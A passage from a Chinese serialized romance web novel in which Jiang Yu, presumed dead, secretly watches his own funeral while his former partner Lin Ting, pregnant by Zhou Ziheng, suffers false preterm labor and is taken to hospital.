“家主,为什么不直接让夏静姝的狐狸尾巴露出来,给她点颜色看看,她就老实了。” 他问: “洛高,你有想要保护的女孩子吗?” 那一刻,洛高终于明白,曾经的周自衡那样杀伐果断,处理任何人都有着雷霆手段,为什么却越来越小心谨慎,越来越不愿意宿敌。 林听又问,“书臣哥的事情,我们真的不再插手了吗?” “这件事情,等你生了孩子后再讨论。”他吻了吻她的额头。 他们又逛了一会儿,林听挑选了满满一购物车的货物,其中婴儿用品居多,还有买给柚子、落落、盼盼的衣服用品,以及她的穿的用的。 结账离开后,有专门的人来拎东西。 周自衡挽着林听离开这里。 眼前突然来了两个人,那是江遇的父亲和母亲。 他们落在林听身上的目光,带着仇恨。 很快有穿西装的保镖,拦在林听和周自衡的面前,与江遇父母隔开了一道人肉墙。 但隔着一行保镖,江遇的母亲仍旧恶狠狠地看着她,“林听,要不是因为你,我儿子也不会死。你这个狐狸精,我儿子为了你死在国外,你刚一回国就和这个男人搞在一起,你对得起我儿子吗?” “你们让开。”江遇的母亲,冲上去,想要扒开那群黑衣保镖,上前撕烂林听的脸。 她像个泼妇一样冲上去,又被保镖推开两三米远。 他看向洛高,“你带太太上车,这里交给我。” “周自衡,不用理会他们,我们走就行了。”林听拉了拉他的手臂。 他拍拍她的手,“放心,我会处理好的。” 林听越过保镖,望向一脸仇恨的江遇父母,胸口堵堵的,明明她才是受害者,这两个人却把江遇的死全都怪到她身上。 凭什么怪她? 她相信周自衡,能够处理好,她温柔地应了一声,“那我去车上等你。” “好。” 洛高比了一个请的手势,“太太,您慢一点。” 她最后看了一眼周自衡,周自衡露给她一个微笑的眼神:放心! 她这才转身离开,洛高紧跟在她的身侧,身后的几名保镖也全都撤回来,跟在他们的身边。 林听问,“洛高,不用给周自衡留两个人吗?” 洛高应声,“太太放心,家主身手好得很,就是来几个雇佣兵,家主也能应付。况且,江遇的父母也不是为了来闹事,主要就是想讹钱。” 林听诧异,“啊,他们不是来声讨我的吗?” 洛高哼了哼声,“这两个人,根本就不是真正关心江遇的死活。他们声讨你,也不过是因为江遇为你花掉了很多钱去国外买岛。” 林听想想,觉得洛高说的很有道理。 江遇从小生活在父母的高压之下,什么都得听从他们的,江父江母只在乎儿子够不够优秀,让他们有没有面子,从来不在乎江遇心里的感受。 只要江遇违背他们的意愿,这两个人便会绝食相逼,直到江遇点头答应。 当初江父江母同意她和江遇谈恋爱,也不过是因为背后捆绑着林江医药,两个家族联姻对他们来说必然是有好处的。 洛高又说,“江遇也挺可怜的。死了这么久,江家人连个葬礼也没给他办。” 提到江遇,林听心里五味陈杂,许多翻涌的记忆在脑海里回放着,但她很快把那些或酸楚或疼痛的记忆都压了下去,“可怜之人必有可恨之处。” 她才不要同情江遇。 他的死,和她没有关系,她不必有任何内疚。 只是不知为何,胸口还是很难受。 商场里。 江母本是眼神凶巴巴的,势必要为儿子讨回个公道,见到周自衡这不怒自威的气势,她的气焰瞬间就灭了一大半。 随即,哭诉道,“我儿子为了林听这个狐狸精,挪用了林江医药两千个亿,结果……” 周自衡眼皮未动,声音冷冽道,“说吧,要多少钱,你们才肯消停?只要你们保证,日后不再出现在林听面前,你们的条件,我答应。” 其实,江遇的父亲根本没有那么关心江遇的死活。 刚刚听到江遇遇难时,或许他们确实心疼,那毕竟是他们的亲生儿子。 但他们更在意的是,江遇死了,江遇买的岛能不能卖掉,钱能不能变现,他撤去国外的产业能不能拿回来。 …… 江遇让杰西在君悦府买了一栋房子,隔着周自衡和宋律风的别墅并不远。 回国第一天,他安顿了下来。 杰西问,“Mr江,你真的不让林小姐知道,你还活着?” 江遇放下手中的拐杖,坐下来,“不要告诉她。我不想打扰她现在的平静生活。” 她现在和周自衡在一起,她笑得那样灿烂明媚,她应该是快乐的,幸福的…… 第199章 林听找到了自己的归宿,很好! 此时此刻,江遇的脑海里是林听在周自衡面前的笑容,以及她欢快的声音,还有她和周自衡那些甜蜜的对话。 她离开了他,回到周自衡的面前,就如同是鱼儿回到了水里,鸟儿飞向了天空。 这样的林听,一定会幸福的。 这时,杰西又问,“Mr江,那你还活着的消息,要告诉臣总和你父母吗?” “都不要告诉他们。”江遇不想让人知道,他还活着的消息。 除了杰西、陈叔和吴婶还有小陈以外,没有人知道他回鹏城了。 杰西点了点头,“知道了。” “杰西,你知道吗,到现在我才明白,真正爱一个人是成全,是希望她幸福,是理解,是包容,是信任。” “可是这些,我都没有。” 最开始,他没有给予林听信任。 “如果当初我足够信任林听,林听不会入狱,也就不会遭受后面的那些苦难。” “得知真相后,我甚至不顾她的感受,强行将她绑走,带去了一个她不愿意去的地方。” “我以为那里有她最喜欢的风景,有柚子,还有我,她肯定会喜欢,但那对她来说,只是囚笼。” “我这辈子,一直在做错路。” 真正等他反省悔悟时,林听早已遍体鳞伤,他就是那个罪魁祸首。 连她找寻了自己的幸福,他都不愿意成全她,祝福她。 明白过来,已经晚了。 杰西是个外国人,没有谈过恋爱,他一直在枪林弹雨中生存,他只懂忠诚,其余的亲情友情爱情都不懂,他不明白江遇说的这些话。 他劝道,“Mr江,你这条命是捡回来的。你现在应该好好珍惜你的身体,早日康复。你都死过一次了,还有什么放不下,看不开的?” “你不懂!”江遇叹了一口气。 就在这时,陈叔和吴婶从外面走进来,旁边还跟着小陈。 他们是一家三口,从江遇还是个孩子的时候,陈叔和吴婶就在江家干活,突然有人打电话让他们到这里来。 见到自己的老板还活着,他们一家三口是又惊又喜,顿时热泪盈眶。 “江先生!” “你真的还活着?” 陈叔、吴婶和小陈,争先来到江遇的面前,先是欣喜落泪,后又看到他身边放着的拐杖,三人眼里的惊喜顿时化为愁容。 陈叔问,“江先生,你的腿?” 江遇的腿打了十七根钢钉,两根钢筋,到现在还没有恢复。 他风轻云淡一笑,“不碍事,至少我活着回来了。” 鹏城这个地方,有他最爱的女人,还有他最宝贝的女儿。 回到这座城市,能和他们呼吸着同一个地方的空气。 这里的空气比国外新鲜。 一抬头,还能和他们一起望着同一片天空的云霞和太阳月光。 这样,算不算他们一家三口,又团聚了? 江遇的眼里有欣慰的光,又有痛楚,酸涩,心里苦兮兮的……他觉得自己成了孤寡之人,被全世界抛弃了似的,但他知道,这都是他自找的。 吴婶擦了擦泪,连连点头,“江先生说得对,活着回来就好,活着回来就好!” 陈叔老泪纵横道,“江先生,你爸和你妈知道你回来了吗?我听说,他们经常去找小听的麻烦,把你的死归咎于小听和柚子的错。” 提起自己的父母,江遇握着拳头,紧紧一攥。 他们向来不喜欢林听。 当初同意他和林听交往,不过是因为林听是林建国的女儿,是林家的千金大小姐,两家都是林江医药的股东。 那个时候,因为林听,他和父母吵了很多次架,他们要他不要那么惯着林听,要他得有一个男人的威信,要林听什么都听他的。 但他怎么可能听父母的? 这对父母对他的教育是指责、打骂、冷暴力,动不动就绝食威胁,没有给过他任何支持和信任。 “我知道,就在半小时前,他们用林听威胁周自衡,要了三个亿。” 他们说,他是因为林听和小柚子才死在海上的。 因此,威胁周自衡,要给他们三个亿,否则会这样永远缠着林听,要林听不得安宁。 周自衡答应了。 三个亿,周自衡也给了。 这是杰西打探到的消息。 吴婶听了,连连摇头,“怎么会有这样的父母,自己的儿子死了,不操心办后事,却去威胁着要钱……” “江先生,对不起。”吴婶意识到,她这是往江遇的胸口捅刀子,“其实,其实你父母得知你的事情后,也挺伤心的。” “伤心?” 江遇一声冷笑。 可能有吧,但并不多,他们更关心的是有没有钱,钱能不能到位。 就像当初,林江医药几近破产,他们说了狠话,要是他想不到办法救林江医药于危难之间,就让他去死,他们责备,花重金培养他,他连那点事情都搞定不了,还有什么用? 他病了,他们不关心,他累了,他们不在乎。他们只在乎他是不是一个优秀的儿子,能不能给他们带来得益。培养他,就一定要他回报他们。 陈叔叹了一口气,“江先生,那你回来的事情,还是不要告诉他们吧,省得又闹心。那要不要告诉小听和柚子?” “不了。我不准备再去打扰她们母女,她们已经找到了最好的归宿。” 眼下,他能在他们看不见的地方,远远地瞧他们一眼,便已经很知足了。 …… 松江路。 一辆红旗国耀轿车上,林听听闻周自衡给了江遇父母三个亿,“周自衡,你傻啊。江遇又不是因为我和柚子而死的,我们又不是杀人犯,为什么要给他们三个亿?你不怕他们这次要了钱,下次又来要吗?” 周自衡自有他自己的打算,握着林听的手,开口说,“……” 第200章 林听和柚子会来吗? “我只想让你整个孕期能够清静一些,不要被这些人来打扰到。” 周自衡看着身侧坐着的女人,怀孕中后期的她,皮肤格外的光滑细腻,车窗外的阳光打落在她的侧脸,风轻柔地穿过她长长的睫毛,一切都是那样的美好。 此刻,周自衡握着林听的手,又紧了紧,明明她就在他的面前,他却怕她有闪失似的,无比地紧张。 “只要能让你孕期心情好,那些钱都不重要。” 开车的洛高,笑着望了望后视镜里的两个人,“太太,放心吧,刚刚我已经录音了。江遇父母开口就要三个亿,才肯消停这,这属于严重的敲诈勒索了。如果下次他们再敢要钱,家主肯定会把他们送进监狱的。如果他们不念心,拿了钱就能消停下来,不再来找太太的麻烦,家主念在他们是江遇父母的份上,不会怎么样的。” 洛高补充道,“以家主的处事风格,江遇父母刚刚那笔敲诈勒索,家主会立马联系律师,立马送他们进监狱,让他们一辈子都在里面吃牢改饭。但是家主说,现在他不是以前单身一个人了,他有家庭,有太太,有柚子,还有太太肚子里的小唯一。所以他做什么事都要留有余地,不想树敌。因为树敌越多,就越容易让太太和孩子们更有危险。家主时时刻刻都在为太太和柚子还有小唯一考虑。” 周自衡望向驾驶室的洛高,眼神严肃起来,“多话!” 洛高笑了笑,从车内后视镜望向家主时,瞧着他牵着太太的手,嘴角边上是心满意足的笑意。 这样的笑意染上窗外的春风和阳光,正印证了那一个词——岁月静好! 真好,家主以前有一大家子的亲人,可是却从来没有得到过这样美好的幸福和温暖,家主终于有家,有牵挂的人,有自己的骨肉了。 可是洛高并不开心。 这样的岁月静好,又能维持多长时间呢? 洛高怕家主的身体…… 车后排的林听,嘴角上挂着笑意,今天的风吹着让人神清气爽,阳光也正好,车窗外的风景也是美美哒! 她看着开车的洛高,问,“洛高,你也知道小宝的名字叫唯一呢?” “当然啊。”洛高抽回神思,忍俊不禁,“你都不知道家主在我面前提了多少回。刚好,柚子叫瑾一,小宝叫唯一,两姐妹的名字只差一个字。林瑾一,林唯一,以后这两姐妹的感情一定很好。“” “周自衡!”林听望向周自衡,“你真准备让小宝跟着多姓,不姓周?” 洛高插了一句,“太太,家主恨不得自己也能改姓呢。这周姓,他才不稀罕。” 确实如此,周自衡根本不愿意当周家的人,不愿意自己身上流着周家的血脉,他才不在乎什么传宗接代,他恨不得自己也能冠以林听的姓氏,叫林自衡,和林听永远在一个户口本上。 听了洛高的话,林听想到周自衡小时候受过许多周家人的欺负,很多次她亲眼见证了周自衡童年时的创伤。 不由反握住他的手,在他的手背上轻轻拍了拍,“阿衡,没关系的,以后你有我,还有柚子和小唯一了。周家的那些事情,你不在放在心上。” 周自衡揉了揉她的脑袋,“周家人不配。” 他们还没有那么重要,不会让他的心湖因此而有任何涟漪。 听闻着林听说的每一个字,每一句话,都带着无比宽慰的力量,驱尽了他心中所有的阴霾——他的身边有她,有柚子,有小唯一,就有了全世界。 “嘶……” “怎么啦?” “小唯一踢我,嘶……” 周自衡不由弯腰,抚着林听肚子鼓包的地方,道,“小唯一,你可不许在里面调皮,妈妈很辛苦的,乖一点,不然爸爸打你屁屁。” “你别吓着小唯一。” “不会的,小唯一知道我是爸爸。” …… 两日后,江遇的父母给江遇安排了一场葬礼。 追悼会办得极其简单。 江家向来信佛教,江遇爷爷奶奶过世的时候,追悼会的场地定在寺庙,但是在寺庙办一场追悼会最少得向寺庙捐赠五十万的香油钱,还不包括场地布置、僧人诵经、司仪、安保团队和摄影及其余的棺木,接送亲友的交通住宿费。 当时江遇爷爷奶奶去世,光是向寺庙捐赠的钱,就高达三千万。 如果给江遇的追悼会定在寺庙,捐赠的香油钱肯定不能少于这个数。 为了省下这笔钱,江遇父母商量后,追悼会就定在了一个小的殡仪馆。 现场布置也是极其简单,就连鲜花挽联也是少之又少。 江书臣和夏静姝一身黑衣,带着小嘉树出现在追悼会上时,见到这般寒酸的追悼会,真是替江遇不值。 夏静姝小声抱怨了一句,“老公,你四叔四婶真不是个东西,自己的儿子死了,办场追悼会如此寒酸。江遇活着的时候,就只把他当赚钱的机器,死了还舍不得把葬礼办风光一些。听说他们给江遇立衣冠冢的地方,是普通人家的墓地,一块墓地才三万块钱,连请风水大师看风水的钱也省了。这江遇真是可怜,有这样一对父母。” 江书臣心里替江遇难过,见江遇母亲一身黑衣,故作憔悴,故挤眼泪的模样,更是心里窝着火。 他走上前,把江遇的父亲请到一边,压低了声音,沉沉道,“四叔,江遇的追悼会怎么办得如此寒酸?你们在我面前哭穷,说是没钱,我不是给了你们五千万。这钱是给江遇办葬礼的,你怎么一分也不舍得花?” 今天这场葬礼,看起来最多不过花了不到十万。 江书臣气得胸口钝痛,“四叔,我说我来安排葬礼,我来请高僧为阿遇超度,你们非不让。拿了钱,也一分不愿多花,你们把江遇当作什么了?” 江父阴沉着脸色,“人都死了,花再多钱都没有意义。” “四叔,那是你儿子,亲儿子。他活着的时候,你们不理解他,经常对他冷暴力,把他当赚钱的机器,死了还不能好好安葬吗?” “那你要我们怎么办,人都死了。他死之前拿着两千个亿,花在一个根本不值得的女人身上,丝毫不顾我们老两口的死活。难道我和你四婶就不活了吗?” “那些钱也是江遇自己挣的。江年林江医药濒临倒闭,是我和阿遇把林江医药救活的。” 林江医药,江遇负责医药研发这一块,江书臣负责管理和市场,他们踩了很多坑,吃了很多苦,也遭受了很多白眼嘲讽甚至是欺辱,挥洒了许多的血汗,才有林江医药的今天。 “再说,阿遇不是还给你们留了一笔钱,两个亿,加上阿衡给的三个亿,还有我那五千万。你们给江遇办的葬礼,你自己看看,像什么样子?” “我觉得没必要铺张浪费。” 江父说完,转身,回到江遇的衣冠椁前,前来送别的亲友见了这寒酸样,私下纷纷议论——这江家不是要破产了吧,追悼会搞得如此寒酸。 殊不知,那是江父江母不愿意在江遇身上多花一分钱。 他们甚至请来了媒体,在记者面前哭着说江遇不孝,为了一个女人花不两千亿,他们办这样一场上不了台面的追悼会也是迫不得已。 记者拍到江母哭得肝肠寸断,仿佛狠心的那个人是江遇,不是他们。 远处,江遇坐在一辆黑色的轿车里,看着自己这寒酸的追悼会,胸口一阵阵窒息——这就是他的一双好父母,从小打压式的教育,一次又一次的冷暴力,他在父母的身上体会不到一丝一毫的温暖。 其实今天他来自己的追悼会,是想看看林听和柚子会不会来送别。 追悼会的结束时间是中午十二点,眼下已经十一点一刻了,也没有见周自衡和林听还有柚子的身影。 第201章 如今的林听只能远远地看一眼 江遇看了看手腕上的表,眼里的神色逐渐暗淡下去。 今天这场追悼会,林听应该是不会再来了——也好,她大着肚子出门不方便,而且怀着孕参加葬礼并不是那么吉利。 可是,他的胸口却堵堵的,沉沉的,带着疼痛,车厢里的空气变得窒息而稀薄,江遇好几次深呼吸,依然觉得呼吸难受。 林听连他的葬礼都不愿意出现,是有多不想见到他? 坐在旁边的杰西劝道,“Mr江,你好不容易捡回一条性命,很多东西都应该放下。没有什么比命更重要。” 很多东西不是他说想放下,就能放下的。 但他心里无比清楚,“都是我自己造的孽,是我自己咎由自取,半点不怨别人。” 只是今天连他的葬礼林听都没有来送他最后一程,甚至没有看到小柚子,他再不是东西,小柚子作为他的女儿也应该来送他一程吧。葬礼上,他的亲生父母又是那样敷衍。他感觉自己像是被全世界抛弃了一样。 可是曾经,听听又何尝不是如此呢,她被人送进监狱的时候,最爱她的哥哥和父亲向着林薇薇,连他也和林薇薇在一起了,那时的听听又何尝不是觉得她被全世界给抛弃了。 真是天道好轮回,苍天饶过谁,他活该如此! 见他一脸伤痛,杰西忽然望着窗外,道,“Mr江,你看,是周家家主和林小姐。” 一辆红色的红旗国耀在殡仪馆的停车场前,缓缓停下来。 有司机小跑着绕过车头,拉开了后排座的车门,车上的周自衡先下了车,他把柚子抱在左手,又牵着大着肚子的林听下了车,三人一身黑衣,是来送别的。 这一刻,江遇不知道应该感到欣慰,还是难过——他的听听,终于是露面了,她愿意来送他最后一程,却是和另一个男人一起来的。 “江先生,人应该往前看。现在林小姐和周家家主在一起,每天都有笑容,你也应该释怀。” “是,听听只有和周自衡在一起才会幸福。” 他可以祝福。 但他无法释怀。 追悼会上,林振宇和林建国一直张望着。 “振宇,你说你妹妹会不会来送江遇最后一程?”林建国已经许久没有见到自己的宝贝女儿了。 上一次见也是匆匆一面,隔得远远的,连句话都没有说上。 林建国多么希望今天能够在江遇的追悼会上见到他的宝贝女儿,他脖子伸得长长的,简直望眼欲穿。 忽然,林振宇惊喜道,“爸,是听听,她和周自衡还有小柚子,都来了。” 林建国赶紧小跑着迎上去,却被一排保安拦着,隔着林听和柚子五六米远的距离,想近一点看她一眼也不行。 “听听,爸想你了,你最近过得还好吗,听听?” 林听从侧而走过,连一个正眼也没有给林建国。 林振宇想要近到林听的身边,和她说说话,告诉她,他和爸都很想她,还想告诉她,他们为她肚子里的小宝准备了很多礼物。 可是周自衡安排的保镖像一座围墙一样,把林听隔绝在里面,他们被拦在外面,怎么闯也闯不进去。 他们就那样眼见着大着肚子的林听被周自衡牵着走进追悼会,头也不回…… 林振宇在抓着周家保镖的胳膊,苦苦求情,“兄弟,麻烦你让我们和小听说句话,可以吗,就一句话。” 那保镖脸上没有一丝表情,“抱歉,我家太太不想看到二位。二位应该有自知之明吧?” 林建国听闻这保镖对林听的称呼,不由露出惊喜,“小兄弟,你说什么,听听已经成为周太太了。那她是和周自衡已经领证结婚了吗,他们有说什么时候安排婚礼吗?” 宝贝女儿终于嫁人了,林建国欣然喜极而泣。 这热泪中又饱含了许多复杂的情绪。 那个时候林听还只是个孩子,他一直想着等他的小听长大嫁人时,他一定要让小听成为这个世界上最幸福的新娘子,让她有着最强大的娘家团队,有着让人最羡慕的十里红妆送嫁。 可是想到这些年林听经历的那些苦难,林建国真想狠扇自己大耳光子。 保镖依旧面无表情,冷冰冰地回答,“林建国先生,我家太太的事情,你没有资格知晓。我也没有义务向你告知。” 林振宇追着问,“小兄弟,那我妹妹到底是和周自衡结没结婚。她结婚了应该通知我们呀,我们好歹是她的娘家人。” 保镖冷冷的目光,落在林振宇的身上,好几秒钟没说话,盯得林振宇心里一阵发慌。 随即,保镖冷冷道:“林先生,我家太太一直都是孤苦伶仃一个人,辛辛苦苦地带着柚子小姐,什么时候有娘家人了?” 一句话,说得林振宇和林建国无地自容。 那样的提醒,像是一记重锤落在两父子的胸口。 闻言,林建国忍不住狠扇了自己一个耳光。 一耳光不够,又接着煽了好几下,惹得来往前来参加追悼会的人频频回头。 巴掌声啪啪啪的,林振宇赶紧拉住他的手,“爸,好多人看着呢。” “那个是林江医药的林建国吧,神经病吧,扇自己耳光。” “你们不知道吗,那个大着肚子的年轻女子,是林建国的亲生女儿。当初他亲手把自己的女儿送进了监狱,结果事实证明她女儿是被冤枉的。好像这闺女还得了癌症,林江医药明明研发出了特效抗癌药,还见死不救。” “有这样的父亲,我也不会认。” “扇自己几个耳光就想得到原谅,未免也太容易了吧。” “我要有这样的父亲,我肯定跟他断绝关系。” “活该!” 这些话于林建国来说,无疑是插在他胸口的刀子。 他们说得对,如果他扇自己几个耳光子就能获得小听的原谅,就能赎罪,岂不是太容易了。 到现在林建国才明白,他之前伤害林听有多深,他痛到有些站不稳,抓紧林振宇的手,老泪纵横道,“振宇,小听是不是这一辈子都永远不会再原谅我了?” “爸,我们就这样远远地看一眼吧!” 大着肚子的林听,带着柚子来到了江遇父母面前…… 第202章 早产 江遇父母从来都不喜欢林听。 这两个长辈是从小看着林听长大的,她被林建国捧在手心里娇生惯养,他们觉得林听一身大小姐臭脾气。 当时两人并不希望江遇和林听在一起,他们起初给江遇安排了联姻对象,后来林听高考后和江遇偷尝了禁果,江遇去买紧急避孕药时,江父江母才知道两个人早就偷偷摸摸谈起了早恋。 当时,江遇买紧急避孕药被抓了个现形,逼问着是哪家姑娘,得知和自己儿子上了床的人是刚刚高考毕业的林听,江母甚至骂了林听下贱不知廉耻,这么小就跟男人上床。 那个时候,因为这件事情,林建国和江父江母还闹了好久的矛盾。 最终江父江母考虑到两家一起经营林江医药,联姻未必是坏事,这才答应林听和江遇在一起。 林听永远忘不掉,当时这两个长辈知道她和江遇上了床后,江母扇了她一耳光的事情。 那个时候,江遇是拿他的父母没有半点办法的。 可是今天林听和周自衡一起出席江遇的追悼会,江父江母见到她,再也没有以前的那种戾气。 他们对她客客气气的。 “小听,你看,你大着肚子还特意跑过来,一会儿赶紧回去休息,可别累坏了身子。” 虚伪! 林听知道,江父江母对她表面这般客气,不过是因为她身边站着一个周自衡。 周自衡在鹏城的上流圈子里,可是出了名的心狠手辣,连自己的亲生父亲也敢囚禁的,他们不过是怕待她不周,遭到周自衡的报复罢了。 原来,当年不是江遇不能护住她,是江遇不敢跟父母对抗。 而呆在周自衡的身边,她不用怕任何人欺负她,哪怕是给她一个不好的眼神,也不敢。 这会儿,林听挽着周自逢的手,朝着江遇的遗像鞠了个躬,感受着周自衡手臂上传来的温度,心里满满都是安心。 只是柚子的情绪不太好。 她朝着江遇的遗像鞠了一躬后,呆呆地盯着那张黑白照片,记忆被定格在出事的那天,在狂风大浪中,江遇挡在她的面前,被人拿着半米长在大刀砍过来。 柚子从来都没有原谅过黑白照片上的男人。 可这个男人,偏偏是她的亲生父亲,她不希望这个男人就这么死掉了。 “柚子,爸爸对不起你,爸爸永远爱你。” 耳畔边上,是这个男人死之前对她说过的最后一句话,像是烙印一样铬进了柚子的心里。 可柚子还是那么恨他,他为什么要以这样的方式让她记住他,他太讨厌了,连死都不能让她安心。 柚子哭了! 不是因为亲生父亲的离世而伤心,而是她讨厌江遇以这样的方式留在她的记忆里。 远处,黑色的轿车里,杰西拿着望远镜在观看着追悼会的情况,见到柚子站在江遇的遗像面前落着泪,他把望远镜递到江遇的手里。 “Mr江,你的女儿好像挺伤心的,她可能是想了你。” 江遇接过望远镜,瞧着镜片里面哭泣的小柚子,心里顿时五味陈杂,欣慰着,也难受着。 他舍不得错过这样远远瞧着柚子的机会,一直拿着望远镜瞧着,直到林听和周自衡带着小柚子走出来,到了那辆红色的红旗国耀前,他仍旧用望远镜瞧着。 他握紧望远镜,生怕错过任何一秒能瞧见柚子的时机。 “杰西,柚子在心里应该已经承认我这个亲生父亲了吧,她应该也是爱我的,对不对?” 杰西安慰他,“小柚子肯定不想你死,不然她不会在追悼会上哭得这般伤心难过。” 江遇哽咽:“是我不好,没有给她一个完整的家。” 突然! 林听站在那辆红色的红旗国耀前,捂紧肚子,慢慢往下蹲。 江遇握着望远镜的手,紧紧一攥,手心里冒出汗来——林听这是怎么了? 远处! 周自衡及时扶住林听。 林听疼得整个身子都往他手臂上压,“周自衡,我肚子疼,嘶……不会要早产吧。” 她这才怀孕七个月。 七个月的早产儿,很难养活的。 可是这会儿肚子里一阵又一阵的痛,这种痛感她特别熟悉,那是她怀柚子临到生产前的阵痛感。 不过生柚子的时候那种阵痛很有规律,几分钟一次收缩,这会儿的疼痛感却是密密麻麻的,十分密集,不停不歇,疼得她冒汗。 周自衡赶紧送她去最近的医院。 江遇坐在车里,也赶紧吩咐司机,“开车,跟上去。” 一路去医院,周自衡抱着林听,让她整个人依靠在他的怀里,她疼的时候紧紧地握住他的手,控制不住的时候会揪着他的肉。 她有多疼,她就揪得有多重,但她丝毫不察觉。 周自衡眉头也没皱一下,任由她揪着自己的胳膊,温柔地安慰着,“老婆,别怕,老公在,我们很快就到医院了。” 旁边的小柚子,也乖巧懂事心疼地安慰着她,“妈妈,别怕,柚子也在,你肯定会没事的,妹妹也会没事的。” 疼痛中,林听是欣慰的,至少她怀小唯一这一胎,有老公周自衡陪着,也有女儿柚子陪着,不像她怀柚子的时候一个人呆在监狱里,还要劳动改造,还要干活,每天都度日如年。 但她害怕肚子里的小唯一有个什么意外。 她有气无力地靠在周自衡的怀里,“周自衡,我害怕!” 周自衡知道她在怕什么,他也害怕,他的掌心有些发抖,又强迫自己镇定下来。 冰凉的吻,落在林听浸着汗的额头,“老婆,小唯一不会有事的,肯定不会有事。我昨天还做梦梦见,小唯一生下来的时候白白胖胖的,特别可爱。” 旁边的小柚子怕自己的妹妹有意外,也怕妈妈有意外,一双大眼睛红红的,染着泪痕,却憋着不让自己哭出来,小手紧紧地握着妈妈的手。 车厢里的气氛异常紧张。 每个人的心湖都被搅得不安宁,连开车的洛高也顾不得路口的红灯,一路闯着红灯,四平八稳地开到医院。 林听被抬上了一张移动床,又被推进了检查室,不过在检查之前,医生知道林听宫缩得厉害,给她注射了一瓶利拖君,以抑制宫缩太过频繁。 周自衡跟着进了产检室,“医院,我太太怎么样了?” “放心,这是假性早产现象。不过幸好没有羊水早破和出血的情况,应该问题不大,你们也不用太担心。” 门外,江遇杵着拐杖,戴着口罩和墨镜,等在产检室外。 柚子被拦在产检室外由洛高照看着,她根本没有认出不远处杵着拐杖戴着口罩和墨镜的江遇,听闻着那拐杖声,还抬头看了江遇一眼。 那一眼,看得墨镜下面的那双眼睛一阵闪躲,想逃离,杵着拐杖转身走远两步,这才想起来,自己现在这个样子,柚子肯定认不出他来。 又杵着拐杖往回走,却听见柚子对着洛西抱怨道,“洛叔叔,我妈妈不应该去参加姓江的葬礼的,我劝她,她不听。我就知道,跟这个人扯上关系,准没好事,不然我妈妈也不会肚子痛被送到医院。” 第203章 不生了,我们不生了 小柚子不明白是为什么,但凡是和姓江的沾上关系的事情,准不是什么好事情,甚至还可以说是她和妈妈的噩运。 想到妈妈刚刚肚子疼到冒汗,小柚子就更心疼了,眼泪哗哗哗流下来,她哭着痛斥道,“洛叔叔,为什么这个姓江的这么坑人,他坑了我妈妈半辈子,连死了都不能安生吗。难道他就不能在天上好好保佑我和妈妈吗?” 这个……洛高不知道怎么安慰眼前落着泪的小柚子,也不知道怎么跟她解释,哪有啥鬼神论。 “柚子,第一,人死后不可能还能在天上保佑别人。第二,你妈妈应该不会有啥危险,她肚子里的小唯一,肯定也会平平安安的。你担心了,好不好。叔叔给你讲个故事?” “我不要听故事,我就是讨厌姓江的。妈妈身体这么差,都是被他折腾的。” 几米远处,戴着墨镜和口罩,杵着拐杖的江遇,眼睁睁地看着自己的女儿落着泪,又数落责备着自己。 心跟针扎似的。 他握着拐杖的手,紧紧一攥,指节泛着白,整个拐杖跟着他微微颤抖——原来柚子的眼泪,并不是因为思念他,而是疼痛和恨意,就连他死了,柚子也不原谅他,要如此误会他是个不折不扣的坏人吗? 他从来不想伤害林听,更不想伤害自己的亲生女儿啊。 医院的走廊里,消毒水味在风中阵阵回旋,冲得江遇有些头脑发晕。 他胸口又紧又痛,痛到差点站不稳。 咯噔咯噔。 拐杖沉浮不稳地敲响地面。 江遇险些没站稳,他没让杰西跟过来,赶紧靠在墙边上。 柚子听闻拐杖的声音,见到一个虚弱的叔叔靠在墙上,她擦了擦泪,从椅子上起来,走到他的面前。 虽然她担心着里面做产检的妈妈,怕妈妈肚子里的宝宝有个什么意外,但柚子从小心善,她昂起脑袋来,看着眼前虚弱的叔叔,好心地问道,“叔叔,你没事吧,要我帮你叫医生吗?” 墨镜和口罩下,已是泪流成河。 江遇控制不住自己,若是让柚子知道,她嘴里的叔叔就是她心里的恶毒爸爸,她还会这般温暖地关心她吗? 他没敢发出声音,摇了摇头,杵着拐杖去那边坐下来。 洛高看着这瘦弱的男人坐在妇产科的急诊室外,好奇怪的男人,他身上的气味有些熟悉。 见这个虚弱的叔叔坐下来后,柚子去那边拿了个纸杯,倒了杯水,递到叔叔面前,“叔叔,你喝点水吧。你是不是有低血糖?” 说着,柚子又从怀里掏出一颗水果糖来,“给,叔叔吃了糖,可能就不晕了。” 那块糖果被江遇戴着手套的手,给接过来,紧攥在掌心里。 女儿给的糖,一定是这世上最甜的糖,可江遇却闻见了苦涩的味道。 此刻他对柚子来说只是一个陌生人,连陌生人差点摔倒,她也能如此关心,为什么不能关心关心他,他是她的父亲啊,用命护着她的人,这还不值得柚子原谅他吗? 柚子看着他,这叔叔为什么要戴着墨镜和口罩呀,好奇怪,也不说话。 叔叔不会是个哑巴吧? “叔叔,我就坐在对面等我妈妈,你要是有什么需要帮忙的,可以叫我。” 柚子送完糖果后,回到洛高的身边,“洛叔叔,我妈妈要什么时候才能出来?” “可能没那么快,柚子再耐心等一等。”洛高说完,又打量着戴着墨镜和口罩,瘦了一大圈的江遇——这男人有些奇怪。 他又朝这男人刚刚来的方向望过去,好像他刚刚看到了杰西。这一眼望过去,又没了杰西的身影,难道是他看错了? 大约二十分钟后,躺在移动床上的乔星月,又被推了出来。 周自衡弯着腰,扶着移动床,一只手紧紧握着林听的手,“老婆,没事了。只是个假性早产,输完液再观察一下,我就陪你回家。” 柚子和洛高赶紧迎上去。 小小的柚子,要踮起脚尖,才能看见躺在上面的妈妈,“妈妈,你怎么样,肚子还疼吗?” 虚弱的林听,额前沾着被汗水浸透的碎发,她冲着柚子展开一个温柔的笑容,“柚子,妈妈没事了,只是假性早产。医生给妈妈输了液,一会儿就可以回家了。” 不远处的江遇,早已跟着站起来,紧握着手中的拐杖,想要靠近一些听相清楚,却又不敢靠近,他只好竖着耳朵聆听。 林听的声音,隐隐约约传过来,是他熟悉的声音。 这一刻,江遇心窝子泛起一股欣慰来,却又疼得胃里一阵翻涌,如今想要听一听林听的声音,却要这么偷偷摸摸的。 好在是听到林听说,她肚子里的宝宝没事。 他也不希望林听有任何意外,那是她千辛万苦保住的孩子,他只希望这个孩子平平安安出生。 他站在那里时,洛高的目光也落在他身上。 察觉到自己被洛高打量着,江遇杵着拐杖假装走远几步,回头时见洛高依然打量着他,他不敢再回头打量了。 直到两个小时后,江遇坐在黑色的轿车里,见到一辆熟悉的保姆车开进医院的停车场,又见林听被抬上了保姆车,应该是有流产征兆,要绝对卧床休息吧。 